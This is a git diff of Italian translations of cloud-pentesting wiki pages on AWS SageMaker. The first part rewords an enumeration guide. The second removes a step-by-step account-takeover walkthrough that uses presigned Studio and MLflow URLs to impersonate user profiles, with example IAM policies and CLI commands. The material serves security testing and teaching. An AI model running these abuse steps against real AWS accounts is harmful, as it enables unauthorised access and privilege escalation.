codice aggiuntivo). > [!TIP] -> Presigned Studio URLs possono aggirare l'autenticazione se concessi in modo troppo permissivo. +> Presigned Studio URLs possono bypassare l'autenticazione se concessi ampiamente. ## Notebook Instances & Lifecycle Configs ```bash @@ -78,9 +78,9 @@ aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-li ``` I metadati del notebook rivelano: -- Ruolo di esecuzione (`RoleArn`), accesso diretto a Internet vs modalità solo VPC. +- Ruolo di esecuzione (`RoleArn`), accesso diretto a Internet vs. modalità solo VPC. - Posizioni S3 in `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`. -- Script di lifecycle per credenziali o hook di persistenza. +- Script di ciclo di vita per credenziali o hook di persistenza. ## Training, Processing, Transform e Batch Jobs ```bash @@ -98,9 +98,9 @@ Esamina: - `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – quali immagini ECR sono distribuite. - `InputDataConfig` & `OutputDataConfig` – bucket S3, prefissi e chiavi KMS. - `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – determinano la configurazione di rete o di crittografia. -- `HyperParameters` possono leak segreti dell'ambiente o stringhe di connessione. +- `HyperParameters` possono leakare segreti di ambiente o stringhe di connessione. -## Pipeline, Esperimenti e Trial +## Pipelines, Experiments & Trials ```bash aws sagemaker list-pipelines --region $REGION aws sagemaker list-pipeline-executions --pipeline-name --region $REGION @@ -110,9 +110,9 @@ aws sagemaker list-experiments --region $REGION aws sagemaker list-trials --experiment-name --region $REGION aws sagemaker list-trial-components --trial-name --region $REGION ``` -Le definizioni di Pipeline dettagliano ogni step, i ruoli associati, le container images e le environment variables. I componenti Trial spesso contengono training artefact URIs, S3 logs e metriche che suggeriscono il flusso di dati sensibili. +Le definizioni delle pipeline dettagliano ogni passaggio, i ruoli associati, le immagini dei container e le variabili d'ambiente. I componenti dei trial spesso contengono URI degli artefatti di addestramento, log S3 e metriche che suggeriscono il flusso di dati sensibili. -## Modelli, Configurazioni di Endpoint & Endpoint distribuiti +## Modelli, Configurazioni degli Endpoint & Endpoint distribuiti ```bash aws sagemaker list-models --region $REGION aws sagemaker describe-model --model-name --region $REGION @@ -123,11 +123,12 @@ aws sagemaker describe-endpoint-config --endpoint-config-name --region $RE aws sagemaker list-endpoints --region $REGION aws sagemaker describe-endpoint --endpoint-name --region $REGION ``` -Focus areas: +Aree di interesse: + - URI S3 degli artefatti del modello (`PrimaryContainer.ModelDataUrl`) e immagini dei container di inferenza. -- Configurazione di Endpoint data capture (S3 bucket, KMS) per possibile esfiltrazione dei log. -- Endpoint multi-model che usano `S3DataSource` o `ModelPackage` (verificare cross-account packaging). -- Configurazioni di rete e gruppi di sicurezza associati agli endpoint. +- Configurazione di Endpoint data capture (S3 bucket, KMS) per possibile log exfil. +- Multi-model endpoints che usano `S3DataSource` o `ModelPackage` (verificare packaging cross-account). +- Configurazioni di rete e security groups associati agli endpoint. ## Feature Store, Data Wrangler & Clarify ```bash @@ -142,9 +143,9 @@ aws sagemaker list-model-monitoring-schedule --region $REGION ``` Considerazioni di sicurezza: -- I feature store online replicano i dati su Kinesis; controlla `OnlineStoreConfig.SecurityConfig.KmsKeyId` e la VPC. -- I flussi di Data Wrangler spesso includono credenziali JDBC/Redshift o endpoint privati. -- I job di Clarify/Model Monitor esportano dati in S3 che potrebbero essere leggibili pubblicamente o accessibili da altri account. +- Online feature stores replicano i dati su Kinesis; verificare `OnlineStoreConfig.SecurityConfig.KmsKeyId` e la VPC. +- Data Wrangler flows spesso incorporano credenziali JDBC/Redshift o endpoint privati. +- Clarify/Model Monitor jobs esportano dati su S3 che potrebbero essere leggibili pubblicamente o accessibili da altri account. ## MLflow Tracking Servers, Autopilot & JumpStart ```bash @@ -157,23 +158,23 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name --region $REGION aws sagemaker list-jumpstart-models --region $REGION aws sagemaker list-jumpstart-script-resources --region $REGION ``` -- MLflow tracking servers memorizzano esperimenti e artefatti; le presigned URLs possono esporre tutto. -- Autopilot jobs avviano più training jobs—enumerare gli output per dati nascosti. -- Le JumpStart reference architectures possono distribuire ruoli privilegiati nell'account. +- I server di tracking MLflow memorizzano esperimenti e artefatti; le presigned URLs possono esporre tutto. +- I job Autopilot avviano più training job—enumera gli output alla ricerca di dati nascosti. +- Le reference architectures di JumpStart possono distribuire ruoli privilegiati nell'account. -## Considerazioni IAM e di Networking +## Considerazioni IAM e Networking -- Enumerare le IAM policy associate a tutti i ruoli di esecuzione (Studio, notebooks, training jobs, pipelines, endpoints). -- Controllare i contesti di rete: subnets, security groups, VPC endpoints. Molte organizzazioni isolano i training jobs ma dimenticano di limitare il traffico in uscita. -- Rivedere le S3 bucket policies referenziate in `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` per accesso esterno. +- Enumera le IAM policies allegate a tutti gli execution roles (Studio, notebooks, training jobs, pipelines, endpoints). +- Controlla i contesti di rete: subnets, security groups, VPC endpoints. Molte organizzazioni isolano i training jobs ma dimenticano di limitare il traffico outbound. +- Rivedi le S3 bucket policies referenziate in `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` per accesso esterno. -## Privilege Escalation +## Escalation dei privilegi {{#ref}} ../../aws-privilege-escalation/aws-sagemaker-privesc/README.md {{#endref}} -## Persistence +## Persistenza {{#ref}} ../../aws-persistence/aws-sagemaker-persistence/README.md @@ -185,7 +186,7 @@ aws sagemaker list-jumpstart-script-resources --region $REGION ../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md {{#endref}} -## Unauthorized Access +## Accesso non autorizzato {{#ref}} ../aws-sagemaker-unauthenticated-enum/README.md diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md index 03435299d..d037d052b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md @@ -1,108 +1,13 @@ -# AWS - SageMaker Unauthorized Access +# AWS - SageMaker Accesso non autorizzato {{#include ../../../../banners/hacktricks-training.md}} -## SageMaker Studio - Account Takeover via CreatePresignedDomainUrl (Impersonate Any UserProfile) +## Presigned URLs per SageMaker -### Descrizione -Un'entità con il permesso di chiamare `sagemaker:CreatePresignedDomainUrl` su un target Studio `UserProfile` può generare un URL di login che autentica direttamente in SageMaker Studio come quel profilo. Questo concede al browser dell'attaccante una sessione Studio che eredita i permessi del `ExecutionRole` del profilo e l'accesso completo alla home e alle app del profilo su EFS. Non è richiesto `iam:PassRole` né l'accesso alla console. +Se un attacker riesce a ottenere una presigned URL per una risorsa SageMaker, può accedervi senza alcuna ulteriore autenticazione. I permessi e il livello di accesso dipenderanno dal ruolo associato alla risorsa: -### Requisiti -- Un SageMaker Studio `Domain` e un `UserProfile` di destinazione al suo interno. -- Il principal attaccante necessita del permesso `sagemaker:CreatePresignedDomainUrl` sul `UserProfile` target (a livello di risorsa) o `*`. - -Esempio di policy minimale (limitata a un unico UserProfile): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sagemaker:CreatePresignedDomainUrl", -"Resource": "arn:aws:sagemaker:::user-profile//" -} -] -} -``` -### Passaggi per l'abuso - -1) Enumerate a Studio Domain and UserProfiles you can target -```bash -DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) -aws sagemaker list-user-profiles --domain-id-equals $DOM -TARGET_USER= -``` -2) Generare un URL pre-signed (valido ~5 minuti per impostazione predefinita) -```bash -aws sagemaker create-presigned-domain-url \ ---domain-id $DOM \ ---user-profile-name $TARGET_USER \ ---query AuthorizedUrl --output text -``` -3) Apri l'URL restituito in un browser per accedere a Studio come utente target. In un terminale Jupyter all'interno di Studio verifica l'identità effettiva: -```bash -aws sts get-caller-identity -``` -Note: -- `--landing-uri` può essere omesso. Alcuni valori (es., `app:JupyterLab:/lab`) possono essere rifiutati a seconda della variante/versione di Studio; i valori di default tipicamente reindirizzano alla home dello Studio e poi a Jupyter. -- Le policy dell'organizzazione/restrizioni sugli endpoint VPC possono comunque bloccare l'accesso alla rete; il token minting non richiede l'accesso alla console o `iam:PassRole`. - -### Impatto -- Lateral movement e privilege escalation assumendo qualsiasi Studio `UserProfile` il cui ARN sia consentito, ereditandone il `ExecutionRole` e il filesystem/le app. - -### Evidenza (da un test controllato) -- Con solo `sagemaker:CreatePresignedDomainUrl` su un `UserProfile` target, il ruolo dell'attaccante ha restituito con successo un `AuthorizedUrl` come: -``` -https://studio-d-xxxxxxxxxxxx.studio..sagemaker.aws/auth?token=eyJhbGciOi... -``` -- Una richiesta HTTP diretta risponde con un redirect (HTTP 302) a Studio, confermando che l'URL è valido e attivo fino alla scadenza. - - -## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl - -### Descrizione -Un'identità con il permesso di chiamare `sagemaker:CreatePresignedMlflowTrackingServerUrl` per un SageMaker MLflow Tracking Server target può generare un URL presigned monouso che autentica direttamente alla managed MLflow UI per quel server. Questo concede lo stesso accesso che avrebbe un utente legittimo al server (visualizzare/creare experiments e runs, e scaricare/caricare artifacts nello S3 artifact store del server) senza accesso alla console o `iam:PassRole`. - -### Requisiti -- Un SageMaker MLflow Tracking Server nell'account/regione e il suo nome. -- Il principal attaccante necessita di `sagemaker:CreatePresignedMlflowTrackingServerUrl` sulla risorsa target del MLflow Tracking Server (o `*`). - -Esempio di policy minimale (limitato a un Tracking Server): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl", -"Resource": "arn:aws:sagemaker:::mlflow-tracking-server/" -} -] -} -``` -### Passaggi di abuso - -1) Elenca gli MLflow Tracking Servers che puoi targettare e scegli un nome -```bash -aws sagemaker list-mlflow-tracking-servers \ ---query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' -TS_NAME= -``` -2) Generare un URL presigned per l'UI di MLflow (valido per un breve periodo) -```bash -aws sagemaker create-presigned-mlflow-tracking-server-url \ ---tracking-server-name "$TS_NAME" \ ---expires-in-seconds 300 \ ---session-expiration-duration-in-seconds 1800 \ ---query AuthorizedUrl --output text -``` -3) Apri l'URL restituito in un browser per accedere alla MLflow UI come utente autenticato per quel Tracking Server. - -Note: -- Il Tracking Server deve essere in uno stato pronto (es., `Created/Active`). Se è ancora in fase di `Creating`, la chiamata verrà rifiutata. -- Il presigned URL è monouso e di breve durata; genera uno nuovo quando necessario. - -### Impatto -- Accesso diretto alla MLflow UI gestita per il Tracking Server target, consentendo la visualizzazione e la modifica di esperimenti/run e il recupero o l'upload di artifact memorizzati nello S3 artifact store configurato del server, nei limiti dei permessi imposti dalla configurazione del server. +{{#ref}} +../../aws-privilege-escalation/aws-sagemaker-privesc/README.md +{{#endref}} {{#include ../../../../banners/hacktricks-training.md}}